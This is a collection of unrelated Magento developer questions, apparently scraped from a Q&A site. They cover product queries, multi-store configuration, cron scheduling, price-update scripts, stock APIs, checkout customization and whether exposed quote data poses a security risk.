SELECT `e`.`entity_id`, `e`.`type_id`, `e`.`attribute_set_id`, `e`.`entity_id`, `e`.`attribute_set_id`, `e`.`type_id`, `e`.`cost`, `e`.`created_at`, `e`.`exclude_from_supply_needs`, `e`.`gift_message_available`, `e`.`has_options`, `e`.`image_label`, `e`.`is_recurring`, `e`.`links_exist`, `e`.`links_purchased_separately`, `e`.`links_title`, `e`.`name`, `e`.`news_from_date`, `e`.`news_to_date`, `e`.`price`, `e`.`price_type`, `e`.`price_view`, `e`.`recurring_profile`, `e`.`required_options`, `e`.`shipment_type`, `e`.`short_description`, `e`.`sku`, `e`.`sku_type`, `e`.`small_image`, `e`.`small_image_label`, `e`.`special_from_date`, `e`.`special_price`, `e`.`special_to_date`, `e`.`tax_class_id`, `e`.`thumbnail`, `e`.`thumbnail_label`, `e`.`updated_at`, `e`.`url_key`, `e`.`url_path`, `e`.`visibility`, `e`.`weight`, `e`.`weight_type`, `e`.`color`, `e`.`color_value`, `e`.`custom_design_from`, `e`.`custom_design_to`, `e`.`custom_layout_update`, `e`.`description`, `e`.`gallery`, `e`.`image`, `e`.`lengte`, `e`.`lengte_value`, `e`.`manufacturer`, `e`.`manufacturer_value`, `e`.`media_gallery`, `e`.`meta_description`, `e`.`meta_keyword`, `e`.`meta_title`, `e`.`minimal_price`, `e`.`msrp`, `e`.`msrp_display_actual_price_type`, `e`.`msrp_enabled`, `e`.`old_id`, `e`.`samples_title`, `e`.`grootte`, `e`.`grootte_value`, `e`.`product_status`, `e`.`status`, `e`.`uitgelicht_categorie`, `e`.`uitgelicht_categorie_value`, `e`.`uitgelicht_homepagina`, `e`.`uitgelicht_homepagina_value`, `at_category_id`.`category_id` FROM `n5no_catalog_product_flat_2` AS `e` LEFT JOIN `n5no_catalog_category_product` AS `at_category_id` ON (at_category_id.`product_id`=e.entity_id) WHERE (e.status = 1) GROUP BY `e`.`entity_id` ORDER BY RAND() ASC LIMIT 8

On my test environment the query also contains a filter on the sub categories. The variable $subCategories is filled, so that's not the problem. I also tried doing it with static category id's and tried to change the whole query various ways. Everything works except the sorting on category_id.


texts: Configurable product are not showing on front end in Multi Store

texts:
I have problem with my magento 1.9.1.0.  I have one website, 2 store and 2 store view. In my case i am sharing the cart for both store.

My Problem is my configurable product and not showing on front end for both stores. Simple product is showing well. But configurable product is not showing on both stores, i also give correct category and stock as well.

My Store URL is: www.image.pk

I am using subdomain concept for multiple stores.


texts: Magento EE - Can FPC be used together with Varnish?

texts: I have heard conflicting views on whether a EE site running FPC can also run Varnish, or whether to run Varnish, FPC must be disabled. Any help greatly appreciated.


texts: After I installed a new template, some of my cron jobs couldn't be added to schedule table

texts:
After I installed a new template, some of my cron jobs, especially the cron job which added by our own integration module from Magento to Netsuite, could be added to cron schedule, I checked the cron schedule table many times.

And it's wiered that sometimes these tasks could be added to schedule successfully and then executed, it's just not stable.

And recently we did meet memory limit problems for some pages, and also for cron job, after we install this new template. After I add more init memory to cron.php, the memeory limit issue solved, but some cron jobs could be scheduled.

Don't know anyone else have met this kinds of issues
Environment: Magento Community 1.9.2.4


texts: Unable to select file for parent directory using ../

texts:
I am setting up multi store view and I have placed index.php and .htaccess file under the new directory /home/storeweb/public_html/so/sb/extreme-landing/ but for some reason I am not able to select Mage.php file by adding any number of ../ before app/Mage.php

I tried by adding single ../ before app/Mage.php and I got an error

  /home/storeweb/public_html/so/sb/extreme-landing/../app/Mage.php was
  not found.

By adding single ../ it should be looking for Mage.php under sb directory but not sure what is wrong.

My virtual host entries:

<VirtualHost *:80>
    ServerName domain.com
    ServerAlias www.domain.com
    DocumentRoot /home/storeweb/public_html/
    ErrorLog /home/storeweb/logs/domain_error.log
    CustomLog /home/storeweb/logs/domain_access.log combined
</VirtualHost>

<VirtualHost *:443>
    SSLEngine On
    SSLCertificateFile /etc/apache2/ssl/domain.com.crt
    SSLCertificateKeyFile /etc/apache2/ssl/domain.com.key
    SSLCertificateChainFile /etc/apache2/ssl/DigiCertCA.crt

    ServerName domain.com
    ServerAlias www.domain.com
    DocumentRoot /home/storeweb/public_html/
    ErrorLog /home/storeweb/logs/domain_error.log
    CustomLog /home/storeweb/logs/domain.log combined
</VirtualHost>


texts: Configurable products with special price gives discount to wrong options

texts:
it was hard to sum on the title, basically what happens is that we set a special price to te lowest price option in a configurable product but it affected the next ones. For example, image we have an option that costs 5 and the next one costs 10, in the dropdown would look like +5 the second one. Now we set a promotion only to the 5 and set it to 3, now the second should cost 10 because the promo it's only for the other option, but it doesn't, it costs 8 because it assumes it's the promo 3 + 5 that is the difference from the original prices.
Don't know if it is understandable.
Any solution to this issue? I can't find anything
Thanks, Best regards


texts: How to generate hash value using MD5/SHA-256 algorithm for request and response files?

texts:
Magento 1.9 - How to find hash key value for onepage checkout page
Checkout URL: www.abc.com/checkout/onepage/
Magento checkout page code : (app/design/frontend/default/theme/template/checkout/onepage/review/item.phtml)
I need request & response hash key value of onepage checkout page.


texts: how to get Compared Product collection in magento 2

texts: How can I get the Products that are already added in the compare list Product Collection. For Visitor and as well as Login Customer. Can anyone guide me to solutions.


texts: Magento 2 Remove parent categories from subcategory URLs

texts:
I want to change category url to short url in magento 2 how it is possible?.
like :

  http://127.0.0.1/magentos/magento2/gear/bags.html

to

  http://127.0.0.1/magentos/magento2/bags.html


texts: Is it possible to link to a configurable product with pre-selected values?

texts:
I'm building a couple fairly large configurable products under the Products category with about 175 products that basically have the same content, just different options (& they need their own SKU's). Unfortunately those products also show up under their respective Brands sub-categories.

Here's my question...

Is it possible to link to the configurable product & have an option selected depending on where they came from?

For example, if I have them coming from the Nike brand category, is it possible to have those options selected already on the configurable product so they don't have to select it again? I know it's possible to have options pre-selected from the configurable product backend side, but there's multiple ways people get to this page...and I would like them to have the options selected appropriate to where they came from.

(ie - if they went to Nike > Atheletic Wear > Hoodies...they would click on Hoodies, which would lead them to the configurable product page where 'Nike' under the 'Brands' would be selected and so on & so forth)


texts: Magento 2 system xml config get groups name programtically

texts:
I have a custom phtml file in system config and been added to 3 groups:

group_1, group_2, group_3

in phtml I have:

<input id="my_value" type="number" name="groups[group_1][groups][my_settings][fields][my_value][value]" value="<?= $block->getValue('my_value'); ?>"/>

Where name=group[group_1] should be dinamically depending on which group it it belongs: for example:
groups[<?= $GROUP ?>][groups][my_settings][fields][my_value][value]

Where $GROUP will hold value for each group:

It works if I hard coded for one for group e.g: groups[group_1]

How can I get groups name programatically?


texts: Increase Product Price by specific amount for all Products - Magento 1.9

texts:
I am running Magento version 1.9.3.4 with PHP 5.6.40 for my store and it has around 5000 products. So I need to increase the product price by Rs.1000 for all products. I just added below custom code in updateprice.php file in my Root and  executed it by mysite.com/updateprice.php but unfortunately its not working.

Here is my code :

<?php

require_once('../app/Mage.php');
Mage::app('default');

$priceToAdd = 1000;

$write = Mage::getSingleton('core/resource')->getConnection('core_write');
$write->query("
UPDATE catalog_product_entity_decimal val
SET  val.value = (val.value + $priceToAdd)
WHERE  val.attribute_id = (
SELECT attribute_id FROM eav_attribute eav
WHERE eav.entity_type_id = 4
AND eav.attribute_code = 'price'
)
");

Can anyone know how to fix this?

Note : Then Price change should applicable for both Price & Special price. For example If the products have both price & special price then the price 1000 should increased to both. If the products only have the price then it should updated that price alone.


texts: Is there anyway to check shipping address country matches with billing address?

texts:
I have created an account and added a billing address in my account section.
After selecting products, I get to the first /checkout page. I want to do a check does billing address country matches with shipping address country

Is this possible, please can anyone tell me which files I should take a look at?

I am not sure if this is correct (before plugin was what I was thinking)


texts:
I'm finding inconsistent documentation on how to update product stock for M2 2.4.1.
Magento\Catalog\Model\Product::setStockData is documented in code to be deprecated and points to Magento\CatalogInventory\Api\Data\StockItemInterface.
StockItemInterface in turn is documented in code to be deprecated and links to pages https://devdocs.magento.com/guides/v2.3/inventory/index.html and https://devdocs.magento.com/guides/v2.3/inventory/catalog-inventory-replacements.html, which are obviously out of date.
Going to the latest page, https://devdocs.magento.com/guides/v2.4/inventory/inventory-api-reference.html, points to Magento\CatalogInventory\Api\StockRepositoryInterface, along with a bunch of other APIs, which is also documented to be deprecated and says "Replaced with Multi Source Inventory".
What is the proper way to programmatically update stock on 2.4?


texts: Placing Order algorithm (Rest API not Controller)

texts:
Which Controller (or php class) is actually responsible for placing an order?

Seems the following JS components are initiating the post request:

Checkout Page -> Payment Button

Magento_Checkout/js/view/payment/default.js
Magento_Checkout/js/action/place-order.js
Magento_Checkout/js/model/place-order.js

But I don't know what controller (or php class) is responsible for actually handling the placeOrder request.


texts: How to get the identifier of the email template created from backend in magenot 2?

texts: I have created a custom email template in backend. Now I want to add the identifier of that email template in my model. how can I get the identifier  which I can specify in my model file?


texts: Magento 1: How can I restore the relationship between simpleproduct and configurable product?

texts:
Is there a way to set the link between the simple products and the configurable product via script or database? Some relations were lost during a DB repair.

(There is only one backup of the corrupted DB - the previous developer has not upgraded cleanly from Magento 1.7 to 1.9)


texts: truncate all category related table in magento 2.3.2

texts: We have been experimenting with syncing our existing database(not Magento) to Magento 2.3.4.In the process, we have created over 1000 categories, but then we rearranged all the IDs to sync with our system.now i want to truncate all category.is it possible


texts: Magento 2 - Class Vendor\Module\Model\Cbdom_main does not exist?

texts:
I am trying to integrate Ccavenuepay on my store, but when I click place order its giving me errors like

a:4:{i:0;s:60:"Class Magekmf\CcavenuepayEmi\Model\Cbdom_main does not exist";i:1;s:7558:"#0 /home/dell/workspace/local.magento2/public/vendor/magento/framework/ObjectManager/Definition/Runtime.php(44): Magento\Framework\Code\Reader\ClassReader->getConstructor('Magekmf\\Ccavenu...')

I have created Cbdom_main.php class as well but error does not resolve. Please help


texts:
I am looking for solution to display all products on custom cms page or need root category url link on which in can get all product.

I tried with catalog product list widget having product for category id 2 which is root catetory but didn't get success. I am working on magento 2.2.2


texts: Add new field in address form for create new order and re-order section in magento 2 backend

texts:
I have successfully create new custom field in checkout page and save the data to database by following these tutorials Add a new field in address form and Magento2 "delivery date" module creation from scratch.

But the problem is this solution only describe how to add the custom field in front end area. But not in back end area, still i am confusing that how to add it in new order or reorder form in back end


texts: product attachment is not shown on cart page after security patches installation

texts:
after installing magento security patches, product attachents stopped to work correctly. here is how they are shown now on cart page:
https://dl.dropboxusercontent.com/s/imbdx090udk56ik/shot_160621_191332.png

a:10:{s:4:"type";s:10:"image/tiff";s:5:"title";s:27:"get coupons and promos.tiff";s:10:"quote_path";s:69:"/media/custom_options/quote/g/e/0f4c8541369bfc38a590d58511c0a048.tiff";s:10:"order_path";s:69:"/media/custom_options/order/g/e/0f4c8541369bfc38a590d58511c0a048.tiff";s:8:"fullpath";s:108:"xxx/custom_options/quote/g/e/0f4c8541369bfc38a590d58511c0a048.tiff";s:4:"size";s:6:"817482";s:5:"width";i:1464;s:6:"height";i:1313;s:10:"secret_key";s:20:"0f4c8541369bfc38a590";s:3:"url";a:2:{s:5:"route";s:35:"sales/download/downloadCustomOption";s:6:"params";a:2:{s:2:"id";N;s:3:"key";s:20:"0f4c8541369bfc38a590";}}}

is there a block type I need to whitelist?


texts:
In Table1:

Id  Category-Name  Status
1    Account       Enable
2    Shipping      Disable
3    Payment       Enable

In Table2:

Id  Category-Name  Question  Answer  Status  Position
1   1              Acc       Data     Enable  1
2   3              Del       Quw      Enable  2
3   1              Ship      Wae      Disable  3
4   1              Pay       Que      Disable   4

how to get categoryName in table1 using Category_name in table2?


texts:
I'm using magento 2.3.3 and I need to duplicate some configurable products.

Every products has some sizes and color, each color has a custom image. When I duplicate a configurable product I see that the virtual products associated are not duplicated (the virutal skus doesn't change).

There is a way to duplicate a configurable product and duplicate it's virutal products?
If it's not possible, how can I erase all confiugrations in the new duplicated product?

Thanks


texts: Magento 2: All Quote details in view source. Does it cause a security issue?

texts:
In Magento 2, all the quote, item, payment method, totals details loaded in view source and in window.checkoutConfig Js global variable.

Does it cause a security issue?